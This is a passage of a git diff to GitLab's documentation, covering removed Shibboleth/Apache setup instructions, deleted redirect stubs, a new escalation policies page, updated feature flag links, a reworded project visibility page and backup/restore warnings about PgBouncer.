-1. Protect the OmniAuth Shibboleth callback URL:
-
- ```apache
- <Location /users/auth/shibboleth/callback>
- AuthType shibboleth
- ShibRequestSetting requireSession 1
- ShibUseHeaders On
- require valid-user
- </Location>
-
- Alias /shibboleth-sp /usr/share/shibboleth
- <Location /shibboleth-sp>
- Satisfy any
- </Location>
-
- <Location /Shibboleth.sso>
- SetHandler shib
- </Location>
- ```
-
-1. Exclude Shibboleth URLs from rewriting. Add `RewriteCond %{REQUEST_URI} !/Shibboleth.sso` and `RewriteCond %{REQUEST_URI} !/shibboleth-sp`. Configuration should look like this:
-
- ```apache
- # Apache equivalent of Nginx try files
- RewriteEngine on
- RewriteCond %{DOCUMENT_ROOT}/%{REQUEST_FILENAME} !-f
- RewriteCond %{REQUEST_URI} !/Shibboleth.sso
- RewriteCond %{REQUEST_URI} !/shibboleth-sp
- RewriteRule .* http://127.0.0.1:8080%{REQUEST_URI} [P,QSA]
- RequestHeader set X_FORWARDED_PROTO 'https'
- ```
-
- NOTE:
- In GitLab versions 11.4 and later, OmniAuth is enabled by default. If you're using an
- earlier version, you must explicitly enable it in `/etc/gitlab/gitlab.rb`.
-
-1. In addition, add Shibboleth to `/etc/gitlab/gitlab.rb` as an OmniAuth provider.
- User attributes are sent from the
- Apache reverse proxy to GitLab as headers with the names from the Shibboleth
- attribute mapping. Therefore the values of the `args` hash
- should be in the form of `"HTTP_ATTRIBUTE"`. The keys in the hash are arguments
- to the [OmniAuth::Strategies::Shibboleth class](https://github.com/toyokazu/omniauth-shibboleth/blob/master/lib/omniauth/strategies/shibboleth.rb)
- and are documented by the [`omniauth-shibboleth` gem](https://github.com/toyokazu/omniauth-shibboleth)
- (take care to note the version of the gem packaged with GitLab). If some of
- your users appear to be authenticated by Shibboleth and Apache, but GitLab
- rejects their account with a URI that contains "e-mail is invalid" then your
- Shibboleth Identity Provider or Attribute Authority may be asserting multiple
- e-mail addresses. In this instance, you might consider setting the
- `multi_values` argument to `first`.
-
- The file should look like this:
-
- ```ruby
- external_url 'https://gitlab.example.com'
- gitlab_rails['internal_api_url'] = 'https://gitlab.example.com'
-
- # disable Nginx
- nginx['enable'] = false
-
- gitlab_rails['omniauth_allow_single_sign_on'] = true
- gitlab_rails['omniauth_block_auto_created_users'] = false
- gitlab_rails['omniauth_providers'] = [
- {
- "name" => "'shibboleth"',
- "label" => "Text for Login Button",
- "args" => {
- "shib_session_id_field" => "HTTP_SHIB_SESSION_ID",
- "shib_application_id_field" => "HTTP_SHIB_APPLICATION_ID",
- "uid_field" => 'HTTP_EPPN',
- "name_field" => 'HTTP_CN',
- "info_fields" => { "email" => 'HTTP_MAIL'}
- }
- }
- ]
-
- ```
-
-1. [Reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart](../administration/restart_gitlab.md#installations-from-source) GitLab for the changes to take effect if you
- installed GitLab via Omnibus or from source respectively.
-
-On the sign in page, there should now be a **Sign in with: Shibboleth** icon below the regular sign in form. Click the icon to begin the authentication process. You are redirected to IdP server (depends on your Shibboleth module configuration). If everything goes well the user is returned to GitLab and is signed in.
-
-## Apache 2.4 / GitLab 8.6 update
-
-The order of the first 2 Location directives is important. If they are reversed,
-requesting a Shibboleth session fails!
-
-```plaintext
-<Location />
- Require all granted
- ProxyPassReverse http://127.0.0.1:8181
- ProxyPassReverse http://YOUR_SERVER_FQDN/
-</Location>
-
-<Location /users/auth/shibboleth/callback>
- AuthType shibboleth
- ShibRequestSetting requireSession 1
- ShibUseHeaders On
- Require shib-session
-</Location>
-
-Alias /shibboleth-sp /usr/share/shibboleth
-
-<Location /shibboleth-sp>
- Require all granted
-</Location>
-
-<Location /Shibboleth.sso>
- SetHandler shib
-</Location>
-
-RewriteEngine on
-
-#Don't escape encoded characters in api requests
-RewriteCond %{REQUEST_URI} ^/api/v4/.*
-RewriteCond %{REQUEST_URI} !/Shibboleth.sso
-RewriteCond %{REQUEST_URI} !/shibboleth-sp
-RewriteRule .* http://127.0.0.1:8181%{REQUEST_URI} [P,QSA,NE]
-
-#Forward all requests to gitlab-workhorse except existing files
-RewriteCond %{DOCUMENT_ROOT}/%{REQUEST_FILENAME} !-f [OR]
-RewriteCond %{REQUEST_URI} ^/uploads/.*
-RewriteCond %{REQUEST_URI} !/Shibboleth.sso
-RewriteCond %{REQUEST_URI} !/shibboleth-sp
-RewriteRule .* http://127.0.0.1:8181%{REQUEST_URI} [P,QSA]
-
-RequestHeader set X_FORWARDED_PROTO 'https'
-RequestHeader set X-Forwarded-Ssl on
-```
+<!-- This redirect file can be deleted after <2021-09-29>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/intro/README.md b/doc/intro/README.md
deleted file mode 100644
index 488d86f129d..00000000000
--- a/doc/intro/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'index.md'
-remove_date: '2021-05-11'
----
-
-This document was moved to [another location](index.md).
-
-<!-- This redirect file can be deleted after 2021-05-11. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/legal/README.md b/doc/legal/README.md
deleted file mode 100644
index 488d86f129d..00000000000
--- a/doc/legal/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'index.md'
-remove_date: '2021-05-11'
----
-
-This document was moved to [another location](index.md).
-
-<!-- This redirect file can be deleted after 2021-05-11. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/migrate_ci_to_ce/index.md b/doc/migrate_ci_to_ce/index.md
new file mode 100644
index 00000000000..dbe5a2730b5
--- /dev/null
+++ b/doc/migrate_ci_to_ce/index.md
@@ -0,0 +1,9 @@
+---
+redirect_to: 'https://docs.gitlab.com/'
+remove_date: '2021-06-14'
+---
+
+This document was moved to [another location](https://docs.gitlab.com/).
+
+<!-- This redirect file can be deleted after <2021-09-14>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/operations/error_tracking.md b/doc/operations/error_tracking.md
index d4edf324caa..baaefcc3a0b 100644
--- a/doc/operations/error_tracking.md
+++ b/doc/operations/error_tracking.md
@@ -26,7 +26,7 @@ least Maintainer [permissions](../user/permissions.md) to enable the Sentry inte
1. Sign up to Sentry.io or [deploy your own](#deploying-sentry) Sentry instance.
1. [Create](https://docs.sentry.io/product/sentry-basics/guides/integrate-frontend/create-new-project/) a new Sentry project. For each GitLab project that you want to integrate, we recommend that you create a new Sentry project.
1. [Find or generate](https://docs.sentry.io/api/auth/) a Sentry auth token for your Sentry project.
- Make sure to give the token at least the following scopes: `event:read` and `project:read`.
+ Make sure to give the token at least the following scopes: `event:read`, `project:read`, and `event:write` (for resolving events).
1. In GitLab, navigate to your project's **Monitor > Error Tracking** page, and
click **Enable Error Tracking**.
1. Navigate to your project's **Settings > Monitor**. In the **Error Tracking** section,
diff --git a/doc/operations/feature_flags.md b/doc/operations/feature_flags.md
index 4045e46de04..a8686e2f4b7 100644
--- a/doc/operations/feature_flags.md
+++ b/doc/operations/feature_flags.md
@@ -80,7 +80,7 @@ You can apply a feature flag strategy across multiple environments, without defi
the strategy multiple times.
GitLab Feature Flags use [Unleash](https://docs.getunleash.io/) as the feature flag
-engine. In Unleash, there are [strategies](https://docs.getunleash.io/docs/activation_strategy)
+engine. In Unleash, there are [strategies](https://docs.getunleash.io/activation_strategy/)
for granular feature flag controls. GitLab Feature Flags can have multiple strategies,
and the supported strategies are:
@@ -95,7 +95,7 @@ and clicking **{pencil}** (edit).
### All users
-Enables the feature for all users. It uses the [`default`](https://docs.getunleash.io/docs/activation_strategy#default)
+Enables the feature for all users. It uses the [`default`](https://docs.getunleash.io/activation_strategy/#default)
Unleash activation strategy.
### Percent Rollout
@@ -104,7 +104,7 @@ Unleash activation strategy.
Enables the feature for a percentage of page views, with configurable consistency
of behavior. This consistency is also known as stickiness. It uses the
-[`flexibleRollout`](https://docs.getunleash.io/docs/activation_strategy#flexiblerollout)
+[`flexibleRollout`](https://docs.getunleash.io/activation_strategy/#flexiblerollout)
Unleash activation strategy.
You can configure the consistency to be based on:
@@ -133,7 +133,7 @@ Selecting **Random** provides inconsistent application behavior for individual u
### Percent of Users
Enables the feature for a percentage of authenticated users. It uses the Unleash activation strategy
-[`gradualRolloutUserId`](https://docs.getunleash.io/docs/activation_strategy#gradualrolloutuserid).
+[`gradualRolloutUserId`](https://docs.getunleash.io/activation_strategy/#gradualrolloutuserid).
For example, set a value of 15% to enable the feature for 15% of authenticated users.
@@ -155,7 +155,7 @@ ID for the feature to be enabled. See the [Ruby example](#ruby-application-examp
> - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/34363) to be defined per environment in GitLab 12.6.
Enables the feature for a list of target users. It is implemented
-using the Unleash [`userWithId`](https://docs.getunleash.io/docs/activation_strategy#userwithid)
+using the Unleash [`userWithId`](https://docs.getunleash.io/activation_strategy/#userwithid)
activation strategy.
Enter user IDs as a comma-separated list of values (for example,
@@ -171,7 +171,7 @@ target users. See the [Ruby example](#ruby-application-example) below.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35930) in GitLab 13.1.
Enables the feature for lists of users created [in the Feature Flags UI](#create-a-user-list), or with the [Feature Flag User List API](../api/feature_flag_user_lists.md).
-Similar to [User IDs](#user-ids), it uses the Unleash [`userWithId`](https://docs.getunleash.io/docs/activation_strategy#userwithid)
+Similar to [User IDs](#user-ids), it uses the Unleash [`userWithId`](https://docs.getunleash.io/activation_strategy/#userwithid)
activation strategy.
It's not possible to *disable* a feature for members of a user list, but you can achieve the same
@@ -392,8 +392,10 @@ end
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36617) in GitLab 13.2.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/251234) in GitLab 13.5.
+> - Showing related feature flags in issues [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220333) in GitLab 14.1.
You can link related issues to a feature flag. In the **Linked issues** section,
click the `+` button and input the issue reference number or the full URL of the issue.
+The issues then appear in the related feature flag and the other way round.
This feature is similar to the [linked issues](../user/project/issues/related_issues.md) feature.
diff --git a/doc/operations/incident_management/alert_integrations.md b/doc/operations/incident_management/alert_integrations.md
deleted file mode 100644
index b08ce8a0ad7..00000000000
--- a/doc/operations/incident_management/alert_integrations.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'integrations.md'
-remove_date: '2021-05-03'
----
-
-This document was moved to [another location](integrations.md).
-
-<!-- This redirect file can be deleted after <2021-05-03>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/operations/incident_management/alerts.md b/doc/operations/incident_management/alerts.md
index def54d8dae2..7b6391cc76e 100644
--- a/doc/operations/incident_management/alerts.md
+++ b/doc/operations/incident_management/alerts.md
@@ -85,11 +85,10 @@ The **Alert details** tab has two sections. The top section provides a short lis
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217768) in GitLab 13.2.
-The **Metrics** tab displays a metrics chart for alerts coming from Prometheus. If the alert originated from any other tool, the **Metrics** tab is empty. To set up alerts for GitLab-managed Prometheus instances, see [Managed Prometheus instances](../metrics/alerts.md#managed-prometheus-instances). For externally-managed Prometheus instances, you must configure your alerting
-rules to display a chart in the alert. For information about how to configure
+The **Metrics** tab displays a metrics chart for alerts coming from Prometheus. If the alert originated from any other tool, the **Metrics** tab is empty.
+For externally-managed Prometheus instances, you must configure your alerting rules to display a chart in the alert. For information about how to configure
your alerting rules, see [Embedding metrics based on alerts in incident issues](../metrics/embed.md#embedding-metrics-based-on-alerts-in-incident-issues). See
-[External Prometheus instances](../metrics/alerts.md#external-prometheus-instances)
-for information about setting up alerts for your self-managed Prometheus
+[External Prometheus instances](../metrics/alerts.md#external-prometheus-instances) for information about setting up alerts for your self-managed Prometheus
instance.
To view the metrics for an alert:
@@ -201,19 +200,6 @@ add a to-do item:
Select the **To-Do List** **{todo-done}** in the navigation bar to view your current to-do list.
-## Link runbooks to alerts
-
-> Runbook URLs [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39315) in GitLab 13.3.
-
-When creating alerts from the metrics dashboard for
-[managed Prometheus instances](../metrics/alerts.md#managed-prometheus-instances),
-you can link a runbook. When the alert triggers, you can access the runbook through
-the [chart context menu](../metrics/dashboards/index.md#chart-context-menu) in the
-upper-right corner of the metrics chart, making it easy for you to locate and access
-the correct runbook:
-
-![Linked Runbook in charts](img/link_runbooks_to_alerts_v13_5.png)
-
## View the environment that generated the alert
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232492) in GitLab 13.5 behind a feature flag, disabled by default.
diff --git a/doc/operations/incident_management/escalation_policies.md b/doc/operations/incident_management/escalation_policies.md
new file mode 100644
index 00000000000..9df8f0dbf7f
--- /dev/null
+++ b/doc/operations/incident_management/escalation_policies.md
@@ -0,0 +1,43 @@
+---
+stage: Monitor
+group: Monitor
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Escalation Policies **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4638) in [GitLab Premium](https://about.gitlab.com/pricing/) 14.1.
+
+Escalation Policies protect your company from missed critical alerts. Escalation Policies contain
+time-boxed steps that automatically page the next responder in the escalation step if the responder
+in the previous step has not responded. You can create an escalation policy in the GitLab project
+where you manage [On-call schedules](oncall_schedules.md).
+
+## Add an escalation policy
+
+If you have at least Maintainer [permissions](../../user/permissions.md),
+you can create an escalation policy:
+
+1. Go to **Operations > Escalation Policies** and select **Add an escalation policy**.
+1. In the **Add escalation policy** form, enter the policy's name and description, and create
+ escalation rules to follow when a primary responder misses an alert.
+1. Select **Add escalation policy**.
+
+![Escalation Policy](img/escalation_policy_v14_1.png)
+
+### Edit an escalation policy
+
+Follow these steps to update an escalation policy:
+
+1. Go to **Operations > Escalation Policies** and select the **Pencil** icon on the top right of the
+ policy card, across from the policy name.
+1. In the **Edit policy** form, edit the information you wish to update.
+1. Select the **Edit policy** button to save your changes.
+
+### Delete an escalation policy
+
+Follow these steps to delete a policy:
+
+1. Go to **Operations > Escalation Policies** and select the **Trash Can** icon on the top right of
+ the policy card.
+1. In the **Delete escalation policy** window, select the **Delete escalation policy** button.
diff --git a/doc/operations/incident_management/img/escalation_policy_v14_1.png b/doc/operations/incident_management/img/escalation_policy_v14_1.png
new file mode 100644
index 00000000000..89cd4318fcb
--- /dev/null
+++ b/doc/operations/incident_management/img/escalation_policy_v14_1.png
Binary files differ
diff --git a/doc/operations/incident_management/img/link_runbooks_to_alerts_v13_5.png b/doc/operations/incident_management/img/link_runbooks_to_alerts_v13_5.png
deleted file mode 100644
index a63001b4cde..00000000000
--- a/doc/operations/incident_management/img/link_runbooks_to_alerts_v13_5.png
+++ /dev/null
Binary files differ
diff --git a/doc/operations/incident_management/incidents.md b/doc/operations/incident_management/incidents.md
index 1cb10fea566..385030d56de 100644
--- a/doc/operations/incident_management/incidents.md
+++ b/doc/operations/incident_management/incidents.md
@@ -56,7 +56,7 @@ With Maintainer or higher [permissions](../../user/permissions.md), you can enab
1. To customize the incident, select an
[issue template](../../user/project/description_templates.md#create-an-issue-template).
1. To send [an email notification](paging.md#email-notifications) to users
- with [Developer permissions](../../user/permissions.md), select
+ with the [Developer role](../../user/permissions.md), select
**Send a separate email notification to Developers**. Email notifications are
also sent to users with **Maintainer** and **Owner** permissions.
1. Click **Save changes**.
diff --git a/doc/operations/incident_management/integrations.md b/doc/operations/incident_management/integrations.md
index d2c52123838..f6c85045fa0 100644
--- a/doc/operations/incident_management/integrations.md
+++ b/doc/operations/incident_management/integrations.md
@@ -18,8 +18,8 @@ to use this endpoint.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/245331) in GitLab Free 13.5.
-With the [Maintainer role or higher](../../user/permissions.md),
-you can view the list of configured alerts integrations by navigating to **Settings > Monitor**
+With at least the [Maintainer role](../../user/permissions.md), you can view the list of configured
+alerts integrations by navigating to **Settings > Monitor**
in your project's sidebar menu, and expanding the **Alerts** section. The list displays
the integration name, type, and status (enabled or disabled):
diff --git a/doc/operations/metrics/alerts.md b/doc/operations/metrics/alerts.md
index 16cfb05ad9a..ea4dd7e34cb 100644
--- a/doc/operations/metrics/alerts.md
+++ b/doc/operations/metrics/alerts.md
@@ -9,54 +9,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) to GitLab Free in 12.10.
After [configuring metrics for your CI/CD environment](index.md), you can set up
-alerting for Prometheus metrics depending on the location of your instances, and
+alerting for Prometheus metrics, and
[trigger actions from alerts](#trigger-actions-from-alerts) to notify
your team when environment performance falls outside of the boundaries you set.
-## Managed Prometheus instances
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6590) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.2 for [custom metrics](index.md#adding-custom-metrics), and GitLab 11.3 for [library metrics](../../user/project/integrations/prometheus_library/index.md).
-
-WARNING:
-Managed Prometheus on Kubernetes is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/327796)
-and scheduled for [removal in GitLab 14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280).
-
-For managed Prometheus instances using auto configuration, you can
-[configure alerts for metrics](index.md#adding-custom-metrics) directly in the
-[metrics dashboard](index.md). To set an alert:
-
-1. In your project, navigate to **Monitor > Metrics**,
-1. Identify the metric you want to create the alert for, and click the
- **ellipsis** **{ellipsis_v}** icon in the top right corner of the metric.
-1. Choose **Alerts**.
-1. Set threshold and operator.
-1. (Optional) Add a Runbook URL.
-1. Click **Add** to save and activate the alert.
-
-![Adding an alert](img/prometheus_alert.png)
-
-To remove the alert, click back on the alert icon for the desired metric, and click **Delete**.
-
-### Link runbooks to alerts
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39315) in GitLab 13.3.
-> - [Deprecated](https://gitlab.com/groups/gitlab-org/-/epics/5877) in GitLab 13.11.
-> - [Removed](https://gitlab.com/groups/gitlab-org/-/epics/4280) in GitLab 14.0.
-
-WARNING:
-Linking runbooks to alerts through the alerts UI is [deprecated](https://gitlab.com/groups/gitlab-org/-/epics/5877)
-and scheduled for [removal in GitLab 14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280).
-However, you can still add runbooks to your alert payload. They show up in the alert UI when the
-alert is triggered.
-
-When creating alerts from the metrics dashboard for [managed Prometheus instances](#managed-prometheus-instances),
-you can also link a runbook. When the alert triggers, the
-[chart context menu](dashboards/index.md#chart-context-menu) on the metrics chart
-links to the runbook, making it easy for you to locate and access the correct runbook
-as soon as the alert fires:
-
-![Linked Runbook in charts](img/linked_runbooks_on_charts.png)
-
## Prometheus cluster integrations
Alerts are not currently supported for [Prometheus cluster integrations](../../user/clusters/integrations.md).
@@ -72,7 +28,7 @@ use with Prometheus webhooks. If you have manual configuration enabled, an
This section contains the needed **URL** and **Authorization Key**. The
**Reset Key** button invalidates the key and generates a new one.
-![Prometheus service configuration of Alerts](img/prometheus_service_alerts.png)
+![Prometheus integration configuration of Alerts](img/prometheus_integration_alerts.png)
To send GitLab alert notifications, copy the **URL** and **Authorization Key** into the
[`webhook_configs`](https://prometheus.io/docs/alerting/latest/configuration/#webhook_config)
diff --git a/doc/operations/metrics/dashboards/img/panel_context_menu_v13_3.png b/doc/operations/metrics/dashboards/img/panel_context_menu_v13_3.png
deleted file mode 100644
index 1259917608b..00000000000
--- a/doc/operations/metrics/dashboards/img/panel_context_menu_v13_3.png
+++ /dev/null
Binary files differ
diff --git a/doc/operations/metrics/dashboards/img/panel_context_menu_v14_0.png b/doc/operations/metrics/dashboards/img/panel_context_menu_v14_0.png
new file mode 100644
index 00000000000..78cce5d30b7
--- /dev/null
+++ b/doc/operations/metrics/dashboards/img/panel_context_menu_v14_0.png
Binary files differ
diff --git a/doc/operations/metrics/dashboards/index.md b/doc/operations/metrics/dashboards/index.md
index d7b748034d5..d59f72f2a91 100644
--- a/doc/operations/metrics/dashboards/index.md
+++ b/doc/operations/metrics/dashboards/index.md
@@ -123,7 +123,7 @@ You can take action related to a chart's data by clicking the
**{ellipsis_v}** **More actions** dropdown box above the upper right corner of
any chart on a dashboard:
-![Context Menu](img/panel_context_menu_v13_3.png)
+![Context Menu](img/panel_context_menu_v14_0.png)
The options are:
@@ -135,10 +135,6 @@ The options are:
feature, logs narrow down to the selected time range. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/122013) in GitLab 12.8.)
- **Download CSV** - Data from Prometheus charts on the metrics dashboard can be downloaded as CSV.
- [Copy link to chart](../embed.md#embedding-gitlab-managed-kubernetes-metrics)
-- **Alerts** - Display any [alerts](../alerts.md) configured for this metric.
-- **View Runbook** - Displays the runbook for an alert. For information about configuring
- runbooks, read [Set up alerts for Prometheus metrics](../alerts.md).
- ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211844) in GitLab 13.3.)
### Timeline zoom and URL sharing
diff --git a/doc/operations/metrics/dashboards/variables.md b/doc/operations/metrics/dashboards/variables.md
index 31782b5c95f..4b083284819 100644
--- a/doc/operations/metrics/dashboards/variables.md
+++ b/doc/operations/metrics/dashboards/variables.md
@@ -16,7 +16,7 @@ Queries that continue to use the old format display no data.
## Predefined variables
-GitLab supports a limited set of [CI/CD variables](../../../ci/variables/README.md)
+GitLab supports a limited set of [CI/CD variables](../../../ci/variables/index.md)
in the Prometheus query. This is particularly useful for identifying a specific
environment, for example with `ci_environment_slug`. Variables for Prometheus queries
must be lowercase. The supported variables are:
diff --git a/doc/operations/metrics/img/prometheus_service_alerts.png b/doc/operations/metrics/img/prometheus_integration_alerts.png
index 609c5e5196c..609c5e5196c 100644
--- a/doc/operations/metrics/img/prometheus_service_alerts.png
+++ b/doc/operations/metrics/img/prometheus_integration_alerts.png
Binary files differ
diff --git a/doc/public_access/public_access.md b/doc/public_access/public_access.md
index 5d07095ac3e..4a7e178072b 100644
--- a/doc/public_access/public_access.md
+++ b/doc/public_access/public_access.md
@@ -5,32 +5,39 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Public access
+# Project visibility
-GitLab allows [Owners](../user/permissions.md) to set a project's visibility as **public**, **internal**,
-or **private**. These visibility levels affect who can see the project in the
-public access directory (`/public` under your GitLab instance), like at <https://gitlab.com/public>
+GitLab allows [Owners](../user/permissions.md) to set a project's visibility as:
-## Visibility of projects
+- **Public**
+- **Internal**
+- **Private**
-### Public projects
+These visibility levels affect who can see the project in the public access directory (`/public`
+for your GitLab instance). For example, <https://gitlab.com/public>.
+
+## Public projects
Public projects can be cloned **without any** authentication over HTTPS.
They are listed in the public access directory (`/public`) for all users.
-**Any logged in user** has [Guest permissions](../user/permissions.md)
-on the repository.
+**Any signed-in user** has the [Guest role](../user/permissions.md) on the repository.
+
+NOTE:
+By default, `/public` is visible to unauthenticated users. However, if the
+[**Public** visibility level](../user/admin_area/settings/visibility_and_access_controls.md#restricted-visibility-levels)
+is restricted, `/public` is visible only to signed-in users.
-### Internal projects
+## Internal projects
-Internal projects can be cloned by any logged in user except [external users](../user/permissions.md#external-users).
+Internal projects can be cloned by any signed-in user except
+[external users](../user/permissions.md#external-users).
-They are also listed in the public access directory (`/public`), but only for logged
-in users.
+They are also listed in the public access directory (`/public`), but only for signed-in users.
-Any logged in users except [external users](../user/permissions.md#external-users) have [Guest permissions](../user/permissions.md)
-on the repository.
+Any signed-in users except [external users](../user/permissions.md#external-users) have the
+[Guest role](../user/permissions.md) on the repository.
NOTE:
From July 2019, the `Internal` visibility setting is disabled for new projects, groups,
@@ -38,57 +45,22 @@ and snippets on GitLab.com. Existing projects, groups, and snippets using the `I
visibility setting keep this setting. You can read more about the change in the
[relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/12388).
-### Private projects
+## Private projects
Private projects can only be cloned and viewed by project members (except for guests).
They appear in the public access directory (`/public`) for project members only.
-### How to change project visibility
+## Change project visibility
1. Go to your project's **Settings**.
1. Change **Visibility Level** to either Public, Internal, or Private.
-## Visibility of groups
-
-NOTE:
-[Starting with](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/3323) GitLab 8.6,
-the group visibility has changed and can be configured the same way as projects.
-In previous versions, a group's page was always visible to all users.
-
-Like with projects, the visibility of a group can be set to dictate whether
-anonymous users, all signed in users, or only explicit group members can view
-it. The restriction for visibility levels on the application setting level also
-applies to groups, so if that's set to internal, the explore page is empty
-for anonymous users. The group page now has a visibility level icon.
-
-Admin users cannot create subgroups or projects with higher visibility level than that of the immediate parent group.
-
-## Visibility of users
-
-The public page of a user, located at `/username`, is always visible whether
-you are logged in or not.
-
-When visiting the public page of a user, you can only see the projects which
-you are privileged to.
-
-If the public level is restricted, user profiles are only visible to logged in users.
-
-## Visibility of pages
-
-By default, the following directories are visible to unauthenticated users:
-
-- Public access (`/public`).
-- Explore (`/explore`).
-- Help (`/help`).
-
-However, if the access level of the `/public` directory is restricted, these directories are visible only to logged in users.
-
-## Restricting the use of public or internal projects
+## Restrict use of public or internal projects
-You can restrict the use of visibility levels for users when they create a project or a
-snippet. This is useful to prevent users from publicly exposing their repositories
-by accident. The restricted visibility settings do not apply to admin users.
+You can restrict the use of visibility levels for users when they create a project or a snippet.
+This is useful to prevent users from publicly exposing their repositories by accident. The
+restricted visibility settings do not apply to admin users.
For details, see [Restricted visibility levels](../user/admin_area/settings/visibility_and_access_controls.md#restricted-visibility-levels).
diff --git a/doc/raketasks/README.md b/doc/raketasks/README.md
deleted file mode 100644
index 488d86f129d..00000000000
--- a/doc/raketasks/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'index.md'
-remove_date: '2021-05-11'
----
-
-This document was moved to [another location](index.md).
-
-<!-- This redirect file can be deleted after 2021-05-11. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/raketasks/backup_restore.md b/doc/raketasks/backup_restore.md
index 1e130c67724..73360c3ee4b 100644
--- a/doc/raketasks/backup_restore.md
+++ b/doc/raketasks/backup_restore.md
@@ -73,6 +73,10 @@ WARNING:
GitLab does not back up any configuration files, SSL certificates, or system
files. You are highly advised to read about [storing configuration files](#storing-configuration-files).
+WARNING:
+The backup command requires [additional parameters](#backup-and-restore-for-installations-using-pgbouncer) when
+your installation is using PgBouncer, for either performance reasons or when using it with a Patroni cluster.
+
Depending on your version of GitLab, use the following command if you installed
GitLab using the Omnibus package:
@@ -817,7 +821,7 @@ data into (`gitlabhq_production`). All existing data is either erased
To restore a backup, you must restore `/etc/gitlab/gitlab-secrets.json`
(for Omnibus packages) or `/home/git/gitlab/.secret` (for installations from
source). This file contains the database encryption key,
-[CI/CD variables](../ci/variables/README.md), and
+[CI/CD variables](../ci/variables/index.md), and
variables used for [two-factor authentication](../user/profile/account/two_factor_authentication.md).
If you fail to restore this encryption key file along with the application data
backup, users with two-factor authentication enabled and GitLab Runner
@@ -955,8 +959,9 @@ installed version of GitLab, the restore command aborts with an error
message. Install the [correct GitLab version](https://packages.gitlab.com/gitlab/),
and then try again.
-NOTE:
-There is a known issue with restore not working with `pgbouncer`. [Read more about backup and restore with `pgbouncer`](#backup-and-restore-for-installations-using-pgbouncer).
+WARNING:
+The restore command requires [additional parameters](#backup-and-restore-for-installations-using-pgbouncer) when
+your installation is using PgBouncer, for either performance reasons or when using it with a Patroni cluster.
Next, restore `/etc/gitlab/gitlab-secrets.json` if necessary,
[as previously mentioned](#restore-prerequisites).
@@ -1188,11 +1193,11 @@ The secrets file is responsible for storing the encryption key for the columns
that contain required, sensitive information. If the key is lost, GitLab can't
decrypt those columns, preventing access to the following items:
-- [CI/CD variables](../ci/variables/README.md)
+- [CI/CD variables](../ci/variables/index.md)
- [Kubernetes / GCP integration](../user/project/clusters/index.md)
- [Custom Pages domains](../user/project/pages/custom_domains_ssl_tls_certification/index.md)
- [Project error tracking](../operations/error_tracking.md)
-- [Runner authentication](../ci/runners/README.md)
+- [Runner authentication](../ci/runners/index.md)
- [Project mirroring](../user/project/repository/repository_mirroring.md)
- [Web hooks](../user/project/integrations/webhooks.md)
@@ -1290,6 +1295,9 @@ You may need to reconfigure or restart GitLab for the changes to take effect.
UPDATE namespaces SET runners_token = null, runners_token_encrypted = null;
-- Clear instance tokens
UPDATE application_settings SET runners_registration_token_encrypted = null;
+ -- Clear key used for JWT authentication
+ -- This may break the $CI_JWT_TOKEN job variable:
+ -- https://gitlab.com/gitlab-org/gitlab/-/issues/325965
UPDATE application_settings SET encrypted_ci_jwt_signing_key = null;
-- Clear runner tokens
UPDATE ci_runners SET token = null, token_encrypted = null;
diff --git a/doc/raketasks/index.md b/doc/raketasks/index.md
index 799e6126a82..d3735fc7454 100644
--- a/doc/raketasks/index.md
+++ b/doc/raketasks/index.md
@@ -46,7 +46,7 @@ The following Rake tasks are available for use with GitLab:
| [Repository storage](../administration/raketasks/storage.md) | List and migrate existing projects and attachments from legacy storage to hashed storage. |
| [Uploads migrate](../administration/raketasks/uploads/migrate.md) | Migrate uploads between local storage and object storage. |
| [Uploads sanitize](../administration/raketasks/uploads/sanitize.md) | Remove EXIF data from images uploaded to earlier versions of GitLab. |
-| [Usage data](../administration/troubleshooting/gitlab_rails_cheat_sheet.md#generate-usage-ping) | Generate and troubleshoot [Usage Ping](../development/usage_ping/index.md). |
